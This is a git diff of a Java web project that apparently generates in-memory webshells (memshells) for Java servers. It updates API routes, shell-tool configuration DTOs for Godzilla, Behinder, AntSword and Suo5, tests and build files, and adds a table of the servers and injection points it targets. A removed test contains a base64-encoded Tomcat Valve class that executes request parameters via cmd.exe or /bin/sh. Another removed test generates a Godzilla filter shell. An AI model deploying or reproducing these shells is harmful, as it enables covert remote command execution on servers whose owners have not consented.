return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
* @since 2025/8/10
|
* @since 2025/8/10
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/probe/generate")
|
@RequestMapping("/probe/generate")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ProbeShellGeneratorController {
|
public class ProbeShellGeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/api/version")
|
@RequestMapping("/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,70 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
@Slf4j
|
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "redirect:/ui";
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping({"/api/search", "/api/search.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(1);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
|
||||||
@SneakyThrows
|
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String docPath = fullPath.substring(4);
|
|
||||||
if (docPath.endsWith(".data")) {
|
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
|
||||||
try {
|
|
||||||
String templatePath = "templates/" + relativePath;
|
|
||||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
|
||||||
if (!resource.exists()) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
|
||||||
return "File not found: " + relativePath;
|
|
||||||
}
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
|
||||||
resource.getInputStream(),
|
|
||||||
StandardCharsets.UTF_8
|
|
||||||
);
|
|
||||||
return FileCopyUtils.copyToString(reader);
|
|
||||||
} catch (IOException e) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
|
||||||
return "Error reading file: " + e.getMessage();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,9 @@ package com.reajason.javaweb.boot.dto;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||||
|
|
||||||
@@ -18,12 +20,11 @@ public class MemShellGenerateRequest {
|
|||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public static class ShellToolConfigDTO {
|
static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
private String commandTemplate;
|
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
@@ -51,13 +52,10 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
@@ -77,10 +75,6 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
private String commandTemplate;
|
private String reqHeaderName;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -35,7 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
.commandTemplate(probeContentConfig.commandTemplate)
|
.reqHeaderName(probeContentConfig.reqHeaderName)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/6/27
|
|
||||||
*/
|
|
||||||
public record PackerVO(String name, List<String> children) {
|
|
||||||
}
|
|
||||||
@@ -2,6 +2,3 @@ spring:
|
|||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
mvc:
|
|
||||||
pathmatch:
|
|
||||||
matching-strategy: ant_path_matcher
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
class ClassNameParseControllerTest {
|
|
||||||
@Test
|
|
||||||
void test(){
|
|
||||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
|
||||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
|
||||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,15 +1,11 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -25,64 +21,36 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
@Autowired
|
||||||
};
|
private TestRestTemplate restTemplate;
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
|
||||||
};
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||||
.uri("/api/config")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||||
.uri("/api/config/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||||
.uri("/api/config/packers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
|
||||||
.uri("/api/config/probe/response-body/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
List<String> body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,71 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/9/16
|
|
||||||
*/
|
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
|
||||||
class MemShellGeneratorControllerTest {
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generateShell() {
|
|
||||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
|
||||||
request.setShellConfig(ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(true)
|
|
||||||
.serverVersion("Unknown")
|
|
||||||
.targetJreVersion(50)
|
|
||||||
.build());
|
|
||||||
request.setInjectorConfig(InjectorConfig.builder()
|
|
||||||
.urlPattern("/*")
|
|
||||||
.build());
|
|
||||||
request.setPacker(Packers.ScriptEngine);
|
|
||||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
|
||||||
shellToolConfigDTO.setGodzillaKey("key");
|
|
||||||
shellToolConfigDTO.setGodzillaPass("pass");
|
|
||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
|
||||||
.uri("/api/memshell/generate")
|
|
||||||
.body(request)
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MemShellGenerateResponse.class);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
publishToMavenCentral(true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,16 +9,10 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.10.0-SNAPSHOT"
|
version = "2.1.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
---
|
## 本地构建
|
||||||
title: 编译打包
|
|
||||||
icon: Package
|
|
||||||
---
|
|
||||||
|
|
||||||
### 源代码构建
|
### 源代码构建
|
||||||
|
|
||||||
@@ -59,7 +56,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
